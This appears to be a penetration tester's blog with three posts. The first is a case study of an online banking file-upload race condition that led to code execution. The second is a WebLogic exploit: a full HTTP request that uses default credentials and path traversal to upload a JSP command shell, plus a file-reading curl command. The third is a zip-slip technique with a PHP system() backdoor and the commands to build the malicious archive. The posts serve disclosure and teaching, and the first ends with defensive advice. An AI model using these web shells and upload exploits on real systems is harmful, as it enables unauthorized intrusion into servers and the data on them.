Virtual Bank Robbery – In Real Life

Author: pz

Introduction

This week a Polish bank was breached through its online banking interface. According to the reports the attacker stole 250.000 USD and now uses the personal information of 80.000 customers to blackmail the bank. Allegedly the attacker exploited a remote code execution vulnerability in the online banking application to achieve all this.

We at Silent Signal performed penetration tests on numerous online banking applications, and can say that while these systems are far from flawless, RCE vulnerabilities are fairly rare. Accordingly, the majority of the in-the-wild incidents can be traced back to the client side, to compromised browsers or naive users.

But from time to time we find problems that could easily lead to incidents similar to the aforementioned Polish banks. In this case-study we’re describing a remote code execution vulnerability we discovered in an online banking application. The vulnerability is now fixed, the affected institution was not based in Poland (or our home country, Hungary).

The bug

The online bank testing account had access to an interface where users could upload various files (pictures, HTML files, Office documents, PDFs etc.). The upload interface checked the MIME type of the uploaded documents only (from the Content-Type header), but not the extension. The Content-Type header is user controlled, so uploading a public ASPX shell was an obvious way to go; but after the upload completed I got an error message that the uploaded file was not found and the message revealed the full path of the missing file on the servers filesystem. I was a bit confused because I could not reproduce this error with any other files I tried to upload. I thought it was possible that an antivirus was in place that removes the malicious document before the application could’ve handled it.
I uploaded a simple text file with the EICAR antivirus test string with .docx extension(so I could make sure that the extension wasn’t the problem) that verified this theory. The antivirus deleted the file before the application could parse it that resulted in an error message revealing the full path:
EICAR

This directory was reachable from the web and the prefix of the file name was based on the current “tick count” of the system. The biggest problem was that the application removed the uploaded files after a short period of time because this was only a temporary directory. I could also only leak the names of deleted files but not the ones that remained on the system for a longer time. So exploitation required a bit more effort.

The Exploit

Before going into the details of the exploit, let’s see what “primitives” I had to work with:

  • I can upload a web shell (antivirus evasion is way too easy…)
  • I can leak the tick count by uploading an EICAR signature
  • I can access my web shell if I’m fast enough and know the tick count of the server at the moment the shell was uploaded

Unfortunately I can’t do these three things at the same time, so this is a kind of a race condition situation. According to the documentation “a single tick represents one hundred nanoseconds or one ten-millionth of a second” so guessing the tick count on a remote system through the Internet seems like a really though job. Luckily, I don’t always trust the documentation ;)

I built a simple test application that models the primitives described and implemented a simple time synchronization algorithm that I used before to predict time on remote servers with seconds precission. The algorithm works basically by making guesses and adjusting them based on the differentials to the actual reported server times.

While this algorithm wasn’t effective on the 100ns scale, the results were really interesting! I could observe that:

  1. Parallel requests result in identical tick counts with high probability
  2. The lower bits of the tick counts tend to represent the same few values

The reason for this is probably that the server processes are not truly parallel, just the OS scheduler makes you believe they are and that the resolution of the tick counter is imperfect. I also found out, that since the filenames are only dependent on the time my requests arrive to the application, the delays of the responses introduce avoidable uncertainty.

My final solution is based on grequests that is an awesome asynchronous HTTP library for Python. This allows me to issue requests very fast without having to wait for the answers in between. I’m using two parallel threads. The first uploads a number of web shells as fast as it can, while the other issues a number of requests with the EICAR string and then tries to access the web shells at constant offsets from the retrieved tick counts. The following chart shows the average hit rates (%) as the server side delays between the creation and deletion of the uploads changes:

avg_tick_hits

And although a few percent doesn’t seem high, don’t forget that I had to only be lucky once! As you can see there is a limit for exploitability (with this setup) between 300 ms and 400 ms but as we later found out the uploads were transferred to a remote host, so the lifetime of the temporary files was above this limit turning the application exploitable.

The model application and the test exploit is available on GitHub.

Conclusion

In this case-study we demonstrated how a low impact information leak and a (seemingly) low exploitability file upload bug could be chained together to an attack that can result in significant financial and reputation loss.

For application developers we have the following advises:

  • If you’re in doubt, use cryptographicaly secure random number generators.
  • Never assume that your software will be deployed to an environment similar to your test machine. A conflicting component (like the antivirus in this case) can and will cause unexpected behavior.
  • File uploads are always fragile parts of web applications, OWASP has some good guidelines about securely handling them.

And for those who are responsible for online banks or similar systems here are some thought-provoking questions:

  • Do your development teams follow a security focused development methodology? Because a good methodology is the base of a quality product.
  • Do you perform regular, technical security tests on your financial applications? Because people make mistakes.
  • Do you fix the discovered vulnerabilities on your production systems in reasonable time? Because tests worth nothing if it takes forever to fix the findings.
  • Do you have an incident response plan? Because despite all effort, incidents will eventually happen.
  • Would you notice an incident? Because IR doesn’t get started by itself.
  • Could you determine what the exploited vulnerabilities were and which users exploited (or tried to exploit) them? Because an incident is an opportunity to learn.

WebLogic undocumented hacking

Author: pz

During an external pentest – what a surprise – I found a WebLogic server with no interesting contents. I searched papers and tutorials about WebLogic hacking with little success. The public exploitation techniques resulted in only file reading. The OISSG tutorial only shows the following usable file reading solution:

curl -s http://127.0.0.1/wl_management_internal2/wl_management -H "username: 
weblogic" -H "password: weblogic" -H "wl_request_type: file" 
-H "file_name: c:\boot.ini"

You can read the WAR, CLASS, XML(config.xml) and LOG(logs\WeblogicServer.log) files through this vulnerability.
This is not enough because I want run operating system commands. The HACKING EXPOSED WEB APPLICATIONS, 3rd Edition book mentioned an attack scenario against WebLogic, but this was only file read although it was based on a great idea:
The web.xml of wl_management_internal2 defined two servlets, FileDistributionServlet and BootstrapServlet. I downloaded the weblogic.jar file with the mentioned attack and decompiled the FileDistributionServlet.class:

total 128
drwxr-xr-x  2 root root  4096 2014-10-03 14:54 ./
drwxr-xr-x 24 root root  4096 2004-06-29 23:18 ../
-rw-r--r--  1 root root  7073 2004-06-29 23:17 BootstrapServlet$1.class
-rw-r--r--  1 root root  8876 2004-06-29 23:17 BootstrapServlet.class
-rw-r--r--  1 root root  1320 2004-06-29 23:17 BootstrapServlet$MyCallbackHandler.class
-rw-r--r--  1 root root  1033 2004-06-29 23:16 FileDistributionServlet$1.class
-rw-r--r--  1 root root  1544 2004-06-29 23:16 FileDistributionServlet$2.class
-rw-r--r--  1 root root   945 2004-06-29 23:16 FileDistributionServlet$3.class
-rw-r--r--  1 root root   956 2004-06-29 23:16 FileDistributionServlet$4.class
-rw-r--r--  1 root root   927 2004-06-29 23:16 FileDistributionServlet$5.class
-rw-r--r--  1 root root   950 2004-06-29 23:16 FileDistributionServlet$6.class
-rw-r--r--  1 root root 21833 2004-06-29 23:16 FileDistributionServlet.class
-rw-r--r--  1 root root   364 2004-06-29 23:16 FileDistributionServlet$FileNotFoundHandler.class
-rw-r--r--  1 root root 38254 2014-10-03 12:24 FileDistributionServlet.jad
-rw-r--r--  1 root root  1378 2004-06-29 23:16 FileDistributionServlet$MyCallbackHandler.class
root@s2crew:/

The FileDistributionServlet had the following interesting function:

 private void internalDoPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
        String s;
        String s1;
        InputStream inputstream;
        boolean flag;
        String s2;
        String s3;
        boolean flag1;
        s = httpservletrequest.getHeader("wl_request_type");
        httpservletresponse.addHeader("Version", String.valueOf(Admin.getInstance().getCurrentVersion()));
        s1 = httpservletrequest.getContentType();
        inputstream = null;
        Object obj = null;
        flag = true;
        s2 = null;
        s3 = httpservletrequest.getHeader("wl_upload_application_name");
        flag1 = "false".equals(httpservletrequest.getHeader("archive"));
        Object obj1 = null;
        String s4 = null;
        if(s3 != null)
        {
            ApplicationMBean applicationmbean;
            try
            {
                MBeanHome mbeanhome = Admin.getInstance().getMBeanHome();
                applicationmbean = (ApplicationMBean)mbeanhome.getAdminMBean(s3, "Application");
            }
            catch(InstanceNotFoundException instancenotfoundexception)
            {
                applicationmbean = null;
            }
            if(applicationmbean != null)
            {
                File file = new File(applicationmbean.getFullPath());
                s4 = file.getParent();
            }
        }
        if(s4 == null)
        {
            s4 = Admin.getInstance().getLocalServer().getUploadDirectoryName() + File.separator;
            if(s3 != null)
                s4 = s4.concat(s3 + File.separator);
        }
        Object obj2 = null;
        if(s1 != null && s1.startsWith("multipart") && s.equals("wl_upload_request"))
        {
            httpservletresponse.setContentType("text/plain");
            Object obj3 = null;
            try
            {
                MultipartRequest multipartrequest;
                if(httpservletrequest.getHeader("jspRefresh") != null && httpservletrequest.getHeader("jspRefresh").equals("true"))
                {
                    s2 = httpservletrequest.getHeader("adminAppPath");
                    multipartrequest = new MultipartRequest(httpservletrequest, s2, 0x7fffffff);
                } else
                {
                    multipartrequest = new MultipartRequest(httpservletrequest, s4, 0x7fffffff);
                }
                File file1 = multipartrequest.getFile((String)multipartrequest.getFileNames().nextElement());
                s2 = file1.getPath();
                flag = false;
                if(flag1)
                {
                    String s5 = s2.substring(0, s2.lastIndexOf("."));
                    extractArchive(s2, s5);
                    s2 = s5;
                }
----- CUT ------

After the investigating the function, I constructed the following HTTP POST request:

POST /wl_management_internal2/wl_management HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0
Connection: keep-alive
username: weblogic
password: weblogic
wl_request_type: wl_upload_request
wl_upload_application_name: ..\..\..\..\..\..\..\..\..\you_can_define_the_upload_directory
archive: true
Content-Length: XXXX
Content-Type: multipart/form-data; boundary=---------------------------55365303813990412251182616919
Content-Length: 959
-----------------------------55365303813990412251182616919
Content-Disposition: form-data; name="file"; filename="cmdjsp.jsp"
Content-Type: application/octet-stream
// note that linux = cmd and windows = "cmd.exe /c + cmd" 
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>
<%=output %>
<!--    http://michaeldaw.org   2006    -->
-----------------------------55365303813990412251182616919--

This is simple as that. The prerequisite of this exploit is the default weblogic/weblogic account.
This is what I call real hacking!

;)


Compressed file upload and command execution

Author: pz

In this post I would like to share some experiences of a web application hacking project. After I got access to the admin section of the web application I realized that there is a file upload function available for administrators. The application properly denied uploading dynamic scripts (eg.: .php) and it was not possible to bypass this defense. However, the upload function supported compressed file upload and provided automatic decompression also but unfortunately the upload directory did not allow to run PHP files.

One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.

To achieve remote command execution I took the following steps:

1. Create a PHP shell:

<?php 
if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
}
?>

2. Use “file spraying” and create a compressed zip file:

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
  adding: xxAcmd.php (deflated 40%)
  adding: xxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:

:set modifiable
:%s/xxA/..\//g
:x!

Done!

Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:

b1